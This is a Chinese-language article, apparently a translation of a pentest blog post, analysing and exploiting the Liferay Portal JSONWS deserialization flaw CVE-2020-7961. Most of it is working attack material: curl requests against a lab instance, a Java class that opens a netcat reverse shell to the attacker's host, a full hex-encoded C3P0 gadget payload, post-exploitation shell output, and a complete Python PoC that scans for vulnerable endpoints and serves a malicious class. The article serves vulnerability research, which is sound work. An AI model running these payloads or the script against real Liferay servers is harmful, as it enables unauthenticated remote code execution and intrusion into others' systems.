CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)

  • A+
所属分类:安全文章 安全漏洞

CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)

Liferay是用Java编写的著名CMS之一,在渗透过程中有时会遇到。上周,我偶然发现了Code White Security的博客文章“ Liferay Portal JSON Web服务RCE漏洞分析”,其中描述了一个有趣的漏洞。不幸的是,没有与之相关的PoC,所以这是学习知识的好机会。

Liferay CMS:https://www.liferay.com/

我将集中讨论影响7.x版本CST-7205的漏洞:通过JSONWS(LPS-97029 / CVE-2020-7961)进行未经身份验证的远程代码执行。

CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)
文章分析

首先,我在Code White博客文章中收集一些线索,就在进行CTF比赛时做的那样:

https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html

 The JSONWebServiceActionParametersMap of Liferay Portal allows the instantiation of arbitrary classes and invocation of arbitrary setter methods.

 Both allow the instantiation of an arbitrary class via its parameter-less constructor and the invocation of setter methods similar to the JavaBeans convention. This allows unauthenticated remote code execution via various publicly known gadgets. // 1

 [...]

 The _parameterTypes map gets filled by the JSONWebServiceActionParametersMap.put(String, Object) method... 

 parameterName:fully.qualified.ClassName // 2

 [...]

 This syntax is also mentioned in some of the examples in the Invoking JSON Web Services tutorial. // 3

 [...]

 Later in JSONWebServiceActionImpl._prepareParameters(Class), the ReflectUtil.isTypeOf(Class, Class) is used to check whether the specified type extends the type of the corresponding parameter of the method to be invoked. Since there are service methods with java.lang.Object parameters, any type can be specified. // 4

 [...]

 Demo // 5

从博客文章中我已经确定:

(1)我必须绕过2016年已经存在的实例化漏洞,即us-17-Munoz-Friday-The-13th-Json-Attacks和 marshalsec,为此,我需要一个小工具,这将使工作变得容易;

(2)为了识别入口点,我需要找到Liferay开发人员文档中描述的JSONendpoint;

(3)进行交互;

(4)最后可以在上面看到APIendpoint的GIF演示;

(5)进行了一点修改,方便使用JSON-RPC攻击的方法, Content-length Header超过9000!

CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)
分析准备

Liferay CE是开源的,我使用docker运行一个实例,并下载了源代码:

 $ wget https://github.com/liferay/liferay-portal/releases/download/7.2.0-ga1/liferay-ce-portal-src-7.2.0-ga1-20190531153709761.zip

 # docker pull liferay/portal:7.2.0-ga1-201906041200

 # docker run -it liferay/portal:7.2.0-ga1-201906041200

 $ docker inspect  $(docker ps | grep liferay | cut -f 1 -d ' ') | jq -r .[0].NetworkSettings.IPAddress

Ubuntu的默认登录名/密码为:[email protected]:test。

CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)
寻找切入点

阅读文档并使用API,我很快找到了使用方法:

 $ curl -s http://172.17.0.2:8080/api/jsonws/announcementsflag/get-flag -u [email protected]:test -d entryId=1 -d value=2 | jq

 {

   "exception": "No AnnouncementsFlag exists with the key {userId=20129, entryId=1, value=2}",

   "throwable": "com.liferay.announcements.kernel.exception.NoSuchFlagException: No AnnouncementsFlag exists with the key {userId=20129, entryId=1, value=2}",

   "error": {

     "message": "No AnnouncementsFlag exists with the key {userId=20129, entryId=1, value=2}",

     "type": "com.liferay.announcements.kernel.exception.NoSuchFlagException"

   }

 }

查看内置文档,我注意到每个参数都需要键入(Long,String ...):

还记得博客文章中的提示吗?我遍历每个上下文以检索每个endpoint,找到了一些使用的endpointjava.lang.Object:

 $ cat contexts.txt | while read context; do curl -kis http://172.17.0.2:8080/api/jsonws?contextName=$context | grep "java.lang.Object"; done | grep -o 'href="[^"]*"'

 href="/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fupdate-column-4-long-java.lang.String-int-java.lang.Object"

 href="/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-long-java.lang.String-int-java.lang.Object"

如博客文章中所见,在阅读了文档之后,我发现了用于实例化对象的符号+,尝试使用一些garbage 可以带来一条有趣的信息:

 $ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column

   -u [email protected]:test

   -d columnId=1

   -d name='2'

   -d type=3

   -d %2BdefaultData=4 | jq

 {

   "exception": "4",

   "throwable": "java.lang.ClassNotFoundException: 4",

   "error": {

     "message": "4",

     "type": "java.lang.ClassNotFoundException"

   }

 }

可能是java.lang.Number或 java.lang.String

 $ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=java.lang.Number | jq

 {

   "exception": "java.lang.InstantiationException",

   "throwable": "java.lang.InstantiationException",

   "error": {

     "message": "java.lang.InstantiationException",

     "type": "java.lang.InstantiationException"

   }

 }

 $ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=java.lang.String | jq

 {

   "exception": "No ExpandoColumn exists with the primary key 1",

   "throwable": "com.liferay.expando.kernel.exception.NoSuchColumnException: No ExpandoColumn exists with the primary key 1",

   "error": {

     "message": "No ExpandoColumn exists with the primary key 1",

     "type": "com.liferay.expando.kernel.exception.NoSuchColumnException"

   }

 }

到目前为止,我已经能够实例化一个对象,并且根据文档,设置属性应该与defaultData.attribute_name=value一样简单 。

CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)
寻找 gadget

我并不熟悉此类漏洞,因此我采用了AlvaroMuñoz和Oleksandr Mirosh 文章中发布的一个Java gadgets,其中涉及实例化org.hibernate.jmx.StatisticsService类,然后调用 setSessionFactoryJNDIName,方法是将 sessionFactoryJNDIName设置为我控制的一切:

 $ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=org.hibernate.jmx.StatisticsService -d defaultData.sessionFactoryJNDIName=rmi://thisiswrong:/

并在日志中得到了stacktrace:

 2020-03-27 15:48:45.383 ERROR [http-nio-8080-exec-2][StatisticsService:81] Error while accessing session factory with JNDI name rmi://thisissworng:/

 javax.naming.CommunicationException: thisiswrong:389 [Root exception is java.net.UnknownHostException: thisiswrong]

有许多公开的gadgets,可以在这里找到。

 Requires c3p0 on the class path. Implements java.io.Serializable, has a default

 constructor (which needs to be called), the used properties also have getters. A single

 etter call is sufficient for code execution.

 [...]

 It will instantiate a class from a remote class path as JNDI

 ObjectFactory. (on its own, not using the default JNDI reference mechanism)

 [...]

不使用默认的JNDI机制进行代码执行,尝试一下:

 $ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource -d 'defaultData.userOverridesAsString=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

 [...]

 2020-03-27 16:19:55.776 WARN  [http-nio-8080-exec-10][WrapperConnectionPoolDataSource:223] Failed to parse stringified userOverrides. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 java.io.StreamCorruptedException: invalid stream header: AAAAAAAA

现在,使用 marshalsec工具通过Jackson适合我上下文的Paylaod为我设置正确的数据。

首先,通过暴露的方式设置远程类EvilObject的路径:

 $ cat > EvilObject.java <<EOF

 public class EvilObject {

     public EvilObject() throws Exception {

         Runtime rt = Runtime.getRuntime();

         String[] commands = {"/bin/sh", "-c", "nc 172.17.0.1 8888 -e /bin/sh"};

         Process pc = rt.exec(commands);

         pc.waitFor();

     }

 }

 EOF

 $ /usr/lib/jvm/java-8-oracle/bin/javac EvilObject.java

 $ python -m SimpleHTTPServer &

然后,我可以使用-t参数测试所有内容:

 $ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson -t C3P0WrapperConnPool http://172.17.0.1:8000/ EvilObject

 unning gadget C3P0WrapperConnPool:

 MLog initialization issue: slf4j found no binding or threatened to use its (dangerously silent) NOPLogger. We consider the slf4j library not found.

 Had execution of /bin/sh

设置监听,生成Payload并使用:

 $ nc -l -v 8888 & 

 Listening on 0.0.0.0 8888


 $ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://172.17.0.1:8000/ EvilObject


 ["com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707874000a4576696c4f626a656374740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;"}]


 $ curl -s http://172.17.0.2:8080/api/jsonws/expandocolumn/update-column -u [email protected]:test -d columnId=1 -d name='2' -d type=3 -d %2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource -d 'defaultData.userOverridesAsString=HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707874000a4576696c4f626a656374740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;'


 [...]


 id

 uid=1000(liferay) gid=1000(liferay)

 ls -al

 total 92

 drwxr-xr-x    1 liferay  liferay       4096 Jun  4  2019 .

 drwxr-xr-x    1 root     root          4096 Jun  4  2019 ..

 -rw-r--r--    1 liferay  liferay         40 May 31  2019 .githash

 -rw-r--r--    1 liferay  liferay          0 May 31  2019 .liferay-home

 drwxr-xr-x    1 liferay  liferay       4096 May 31  2019 data

 drwxr-x---    2 liferay  liferay       4096 May 31  2019 deploy

 [...]

已经获得了远程shell!

CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)
分析结论

相关的PoC如下:

https://github.com/mzer0one/CVE-2020-7961-POC

 '''

  Title: POC for Unauthenticated Remote code execution via JSONWS (LPS-97029/CVE-2020-7961) in Liferay 7.2.0 CE GA1 

  POC author: mzero

  Download link: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/7.2.0%20GA1/liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761.7z/download

  Based on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research

  Usage: python poc.py -h

  

  Gadget used: C3P0WrapperConnPool 

  

  Installation:

  pip install requests

  pip install bs4

  

  Create file LifExp.java with example content:

  public class LifExp {

   static {

   try {

    String[] cmd = {"cmd.exe", "/c", "calc.exe"};

    java.lang.Runtime.getRuntime().exec(cmd).waitFor();

   } catch ( Exception e ) {

    e.printStackTrace();

    }

   }

  }

  javac LifExp.java

  Place poc.py and LifExp.class in the same directory.

 '''

 import requests

 import threading

 import time

 import sys

 import argparse

 from bs4 import BeautifulSoup

 from datetime import datetime

 from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer

 from requests.packages.urllib3.exceptions import InsecureRequestWarning

 requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


 # SET proxy

 PROXIES = {}

 #PROXIES = {"http":"http://127.0.0.1:9090"}


 class HttpHandler(BaseHTTPRequestHandler):

  

  def do_GET(self):

   self.send_response(200)

   self.send_header('Content-type','application/java-vm')

   self.end_headers()

   f = open("LifExp.class", "rb")

   self.wfile.write(f.read())

   f.close()

   return


 def log(level, msg):

  prefix = "[#] "

  if level == "error":

   prefix = "[!] "

  d = datetime.now().strftime("%d/%m/%Y %H:%M:%S")

  temp = "{} [{}] {}".format(prefix, d, msg)

  print(temp)


 def find_href(body):

  soup = BeautifulSoup(body, "html.parser")

  return soup.find_all('a', href=True)

  

 def find_class(body, clazz):

  soup = BeautifulSoup(body, "html.parser")

  return soup.findAll("div", {"class": clazz})


 def find_id(body):

  soup = BeautifulSoup(body, "html.parser")

  return soup.findAll("form", {"id": "execute"})


 def get_param(div):

  param = ""

  param_type = ""

  p_name = div.find("span", {"class": "lfr-api-param-name"})

  p_type = div.find("span", {"class": "lfr-api-param-type"})

  if p_name:

   param = p_name.text.strip()

  if p_type:

   param_type = p_type.text.strip()

   

  return (param, param_type)


 def _do_get(url):

  resp = requests.get(url, proxies=PROXIES, verify=False)

  return resp

  

 def do_get(host, path):

  url = "{}/{}".format(host, path)

  resp = _do_get(url)

  return resp

  

 def _do_post(url, data):

  resp = requests.post(url, proxies=PROXIES, verify=False, data=data)

  return resp

  

 def do_post(host, path, data):

  url = "{}/{}".format(host, path)

  resp = _do_post(url, data)

  return resp

  

 def find_endpoints(host, path):

  result = []

  resp = do_get(host, path)

  links = find_href(resp.text)

  for link in links:

   if "java.lang.Object" in link['href']:

    result.append(link['href'])

  return result


 def find_parameters(body):

  div_params = find_class(body, "lfr-api-param")

  params = []

  for d in div_params:

   params.append(get_param(d))

  return params


 def find_url(body):

  form = find_id(body)[0]

  return form['action']


 def set_params(params, payload, payload_type):

  result = {}

  for param in params:

   p_name, p_type = param

   if p_type == "java.lang.Object":

    result[p_name+":"+payload_type] = payload

   

   result[p_name] = "1"

  return result


 def pad(data, length):

  return data+"x20"*(length-len(data))

  

 def exploit(host, api_url, params, PAYLOAD, PAYLOAD_TYPE):

  p = set_params(params, PAYLOAD, PAYLOAD_TYPE)

  resp = do_post(host, api_url, p)


 banner = """POC author: mzerornBased on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research"""


 def main():

  print(banner)

  parser = argparse.ArgumentParser()

  parser.add_argument("-t", "--target-host", dest="target", help="target host:port", required=True)

  parser.add_argument("-u", "--api-url", dest="api_url", help="path to jsonws. Default: /api/jsonws", default="/api/jsonws")

  parser.add_argument("-p", "--bind-port", dest="bind_port", help="HTTP server bind port. Default 9091", default=9091)

  parser.add_argument("-l", "--bind-ip", dest="bind_ip", help="HTTP server bind IP. Default 127.0.0.1. It can't be 0.0.0.0", default="127.0.0.1")


  args = parser.parse_args()

  bind_port  = int(args.bind_port)

  bind_ip = args.bind_ip

  target_ip = args.target

  api_url = args.api_url

  endpoints = []

  vuln_endpoints = []

  

  PAYLOAD_TYPE = "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"

  PAYLOAD_PREFIX = """{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c69664578707400c8"""

  PAYLOAD_SUFIX = """740003466f6f;"}"""

  PAYLOAD = PAYLOAD_PREFIX +pad("http://{}:{}/".format(bind_ip, bind_port), 200).encode("hex")+PAYLOAD_SUFIX

  

  

  try:

   log("info", "Looking for vulnerable endpoints: {}/{}".format(target_ip, api_url))

   endpoints = find_endpoints(target_ip, api_url)

   if not endpoints:

    log("info", "Vulnerable endpoints not found!")

    sys.exit(1)

  except Exception as ex:

   log("error", "An error occured:")

   print(ex)

   sys.exit(1)

  

  try:

   server = HTTPServer((bind_ip, bind_port), HttpHandler)

   log("info", "Started HTTP server on {}:{}".format(bind_ip, bind_port))

   th = threading.Thread(target=server.serve_forever)

   th.daemon=True

   th.start()

   

   for e in endpoints:

    resp = do_get(target_ip, e)

    params = find_parameters(resp.text)

    url_temp = find_url(resp.text)

    vuln_endpoints.append((url_temp, params))

   

   for endpoint in vuln_endpoints:

    log("info", "Probably vulnerable endpoint {}.".format(endpoint[0]))

    op = raw_input("Do you want to test it? Y/N: ")

    if op.lower() == "y":

     exploit(target_ip, endpoint[0], endpoint[1], PAYLOAD, PAYLOAD_TYPE)

     

   log("info", "CTRL+C to exit :)")

   while True:

    time.sleep(1)

  except KeyboardInterrupt:

   log("info", "Shutting down...")

   server.socket.close()

  except Exception as ex:

   log("error", "An error occured:")

   print(ex)

   sys.exit(1)

  

 if __name__ == "__main__":

  main()

 public class LifExp {


 static {

 try {

 String[] cmd = {"cmd.exe", "/c", "calc.exe"};

 java.lang.Runtime.getRuntime().exec(cmd).waitFor();

 } catch ( Exception e ) {

 e.printStackTrace();

 }

 }

 }

无需建立连接只需单击即可实现代码执行。

CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)
参考文献

· https://www.liferay.com

· https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html

· https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf

· https://github.com/mbechler/marshalsec

· https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/invoking-json-web-services#object-parameters

· https://portal.liferay.dev/docs/7-1/tutorials/-/knowledge_base/t/invoking-json-web-services#json-rpc

· https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java

· https://github.com/mzer0one/CVE-2020-7961-POC

· https://gist.github.com/testanull/4f8a9305b5b57ab8e7f15bbb0fb93461

· https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains-wp.pdf

参考及来源:https://www.synacktiv.com/posts/pentest/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html

CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)

CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)

本文始发于微信公众号(嘶吼专业版):CVE-2020-7961:Liferay CMS 系统漏洞的分析与利用(含PoC)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: